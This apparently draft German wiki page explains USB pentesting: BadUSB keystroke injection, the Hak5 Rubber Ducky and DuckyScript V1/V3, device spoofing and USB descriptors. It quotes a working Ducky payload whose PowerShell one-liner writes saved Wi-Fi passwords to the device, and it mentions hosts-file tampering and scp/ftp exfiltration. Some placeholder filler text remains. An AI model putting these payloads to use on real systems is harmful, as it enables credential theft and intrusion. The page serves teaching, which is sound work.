USB-Pentesting

From
Jump to navigation Jump to search

Die Evolution der USB-Bedrohungslandschaft und das Vertrauensparadigma seitens des OS ist ein Katz und Maus spiel zwischen Angreifer und Verteidiger.


USB-Pentesting: Grundlagen und Gefahren

  1. Bedrohungslandschaft

Die physische Sicherheit von Computersystemen wird in der modernen Cybersicherheit oft zugunsten von netzwerkbasierten Schutzmaßnahmen vernachlässigt. Somit bergen USB-Geräte in der IT-Security ein nicht geringes Risiko, weil diese vom System grundsätzlich als vertrauenswürdig eingestuft werden. USB-Ports sind omnipräsent und genießen innerhalb moderner Betriebssysteme ein nahezu grenzenloses, implizites Vertrauen. So können manipulierte USB-Sticks oder USB-Kabel beispielsweise als HID (Human Interface Devices) auftreten und fast unbemerkt Befehle an den Rechner senden; -ein Angriffsszenario, das als "BadUSB" bekannt ist. Dabei emuliert ein USB-Gerät z.b. eine Tastatur und gibt automatisiert Tastaturbefehle (Keyboard Injection) ein, etwa um eine Konsole zu öffnen und Malware herunterzuladen oder auszuführen. Da Betriebssysteme einem neu eingesteckten Keyboard per Plug & Play ohne weitere Authentifizierung vertrauen, kann so innerhalb von Sekunden volle Kontrolle über einen Rechner erlangt werden. Dieses Vertrauen basiert auf der historischen Notwendigkeit, Peripheriegeräte wie Tastaturen, Mäuse und Speichermedien ohne langwierige Authentifizierungsprozesse schnell und sofort einsatzbereit zu machen. Bekannte Beispiele für BadUSB sind sogenannte "Lost"-USB-Sticks wie meist der "USB Rubber Ducky", welche beim Einstecken sofort Skripte ausführen.


  1. 2. Kernproblematik

Die Kernproblematik liegt im sogenannten "Wolf im Schafspelz"-Prinzip: Ein Gerät, das äußerlich wie ein harmloser Speicherstick aussieht, kann gegenüber dem Host-Betriebssystem jede beliebige Identität annehmen (USB standard lässt einen jede beliebige. Besonders kritisch ist hierbei die Klasse der Human Interface Devices. Da das Betriebssystem davon ausgeht, dass eine Tastatur oder Maus direkt von einem autorisierten menschlichen Benutzer bedient wird, werden die von einem solchen Gerät gesendeten Befehle mit der Berechtigung des aktuell angemeldeten Benutzers ausgeführt. Pentesting-Tools wie der Raspberry Pi Zero W mit der Kali Distro P4wnP1 A.L.O.A. nutzen diese fundamentale Designschwäche des USB-Protokolls aus, um automatisierte Angriffe mit einer Geschwindigkeit durchzuführen, die weit über menschliche Fähigkeiten hinausgeht.

  1. 3. Ziele von BadUSB die sich als HID-Gerät ausgeben
Manipulation von:
> C:\Windows\System32\drivers\etc\hosts
Ermöglicht Man-in-the-Middle-Angriffe (MitM) auf Lokaler ebene durch manipulation der hosts file.
Denn: Die hosts-Datei überschreibt reguläre DNS-Antworten.

Weitere spielerein sind unter anderem:

> SCP Quelle:Ziel | ftp.exe
Um Datendiebstahl zu betreiben


Die Evolution der USB-Bedrohungslandschaft

  1. 1. Ursprung der automatisierten Keystroke-Injektion: Der Hak5 Rubber Ducky

Der Grundstein für moderne USB-Angriffe wurde durch den Hak5 Rubber Ducky gelegt. Ursprünglich als einfaches Werkzeug zur Automatisierung von Systemadministratoren gedacht, entwickelte sich das Gerät schnell zum Standard für Penetrationstests. Die erste Generation (Mark 1) nutzte einen 32-Bit Atmel-Mikrocontroller und führte Skripte aus, die auf einer Micro-SD-Karte gespeichert waren.


Die zugrundeliegende Skriptsprache DuckyScript V1 zeichnete sich durch ihre Einfachheit aus. Befehle wie STRING, DELAY und ENTER ermöglichten es, komplexe Tastaturabfolgen vorzuprogrammieren. Mit der Einführung des Rubber Ducky Mark 2 und der Sprache DuckyScript V3 wurde das System erheblich erweitert. V3 bietet heute prozedurale Logik, einschließlich Variablen, Bedingungen (IF/THEN/ELSE) und Schleifen (WHILE), was Angriffe ermöglicht, die dynamisch auf das Zielsystem reagieren.

DuckyScript V1

REM My first payload
DELAY 3000
STRING Hello, World!
ENTER

REM war für Kommentare, DELAY war ein Zeitlicher Delay STRING war [0-9, a-z, A-Z] und SPECIAL_KEY war ENTER, oder auch die Pfeiltasten

REM Example Simple USB Exfiltration Technique for Windows
ATTACKMODE HID STORAGE
DELAY 2000
GUI r
DELAY 100
STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\'$env:computername'.txt'"
ENTER


REM This short Powershell one-liner executes from the Windows Run dialog.
REM The drive letter of the volume with the label “DUCKY” is saved as $m.
REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name).
REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the 
“DUCKY” drive, saved as the computer name (in .txt format).

https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/examples/Exfiltration/Exfiltration-example1.txt

Besonders innovativ in DuckyScript V3 ist die Technik der "Keystroke Reflection". Hierbei nutzt das Gerät den Zustand der Tastatur-LEDs (Caps Lock, Num Lock, Scroll Lock) des Host-Systems als Rückkanal. Da das Betriebssystem den LED-Status an alle angeschlossenen Tastaturen synchronisiert, kann ein auf dem Host laufendes Skript Daten in Bit-Muster umwandeln, die durch schnelles Umschalten der LEDs übertragen werden. Der Rubber Ducky registriert diese Änderungen und kann so Informationen exfiltrieren, ohne eine Netzwerkverbindung nutzen zu müssen DuckyScript V3

REM Example Function
VAR $TIMER = 3
FUNCTION COUNTDOWN()
    WHILE ($TIMER > 0)
        STRING .
        $TIMER = ($TIMER - 1)
        DELAY 500
    END_WHILE
END_FUNCTION

STRING And then it happened
COUNTDOWN()

SPACE
STRING a door opened to a world
$TIMER = 5
COUNTDOWN()

REM The FUNCTION command defines a new function named COUNTDOWN() containing a code block with a WHILE loop which types a single period (".") for each value of $TIMER.
REM The first time the COUNTDOWN() function is called, the $TIMER variable holds the value 3. The second time it is called, the $TIMER variable holds the value 5.
REM The string "And then it happened... a door opened to a world....." will be typed.

https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/examples/Functions/Functions-example1.txt

DuckyScript im Vergleich:

Feature DuckyScript V1 DuckyScript V3
Logik Sequentiell (Top-down) Bedingte Logik, Schleifen, Funktionen
Variablen Nicht vorhanden Dynamische Variablen und mathematische Operatoren
Interaktion Nur Output (Blind Injection) Feedback über LED-Status (Caps/Num Lock) möglich
Speicherzugriff Statisch von SD-Karte Dynamischer Zugriff auf internen Speicher während der Laufzeit


  1. 2. SubSubTitel

Mauris sagittis consequat est lacinia accumsan. Vivamus non tempor arcu.

Ducky im Attack-Mode ATTACKMODE HID VID_05AC PID_021E mit "Getäuschert HID":

Prefix Field Name Description
MAN_ Hersteller-ID iManufacturer 16 alphanumeric characters
PROD_ Produkt-ID iProduct 16 alphanumeric characters
SERIAL_ iSerial 12 digits

https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/


  1. 3. Grundlagen der USB-Kommunikation und Geräteidentifikation

Um die Funktionsweise von Angriffswerkzeugen wie dem P4wnP1 oder dem Rubber Ducky zu verstehen, ist eine detaillierte Analyse des USB-Handshake-Prozesses erforderlich. Wenn ein USB-Gerät mit einem Host-Computer verbunden wird, übernimmt der Host-Controller die Initialisierung. Dieser Prozess beginnt mit einem USB-Reset-Request, woraufhin dem Gerät vorübergehend die Adresse 0 zugewiesen wird. Im nächsten Schritt ruft der Host-Controller den sogenannten Device Descriptor ab. Dieser Datensatz ist die "Visitenkarte" des Geräts und enthält essenzielle Informationen wie die Hersteller-ID (Vendor ID, VID), die Produkt-ID (Product ID, PID) sowie technische Parameter wie die USB-Spezifikationsversion und die maximale Paketgröße.


Jeder Device Descriptor verfügt über mindestens einen Configuration Descriptor, der wiederum einen oder mehrere Interface Descriptoren beherbergt. Diese Schnittstellenbeschreibungen definieren die eigentliche funktionalität des Geräts über das Feld bInterfaceProtocol. Ein Hex-Wert von 0x03 signalisiert dem Host-Betriebssystem beispielsweise, dass es sich um ein HID-Gerät handelt. Pentesting-Geräte sind in der Lage, sogenannte Composite Devices zu emulieren. Das bedeutet, dass ein einziger physischer Stecker dem Betriebssystem gegenüber mehrere Interface Descriptoren präsentiert, etwa gleichzeitig eine Tastatur (HID), einen Massenspeicher (MSC) und einen Netzwerkadapter (RNDIS/ECM).

Analyse weiterer "moderner" Pentesting-Hardware

  1. ThingPulse Pendrive S3: Die Theorie der ESP32-S3 basierten Angriffe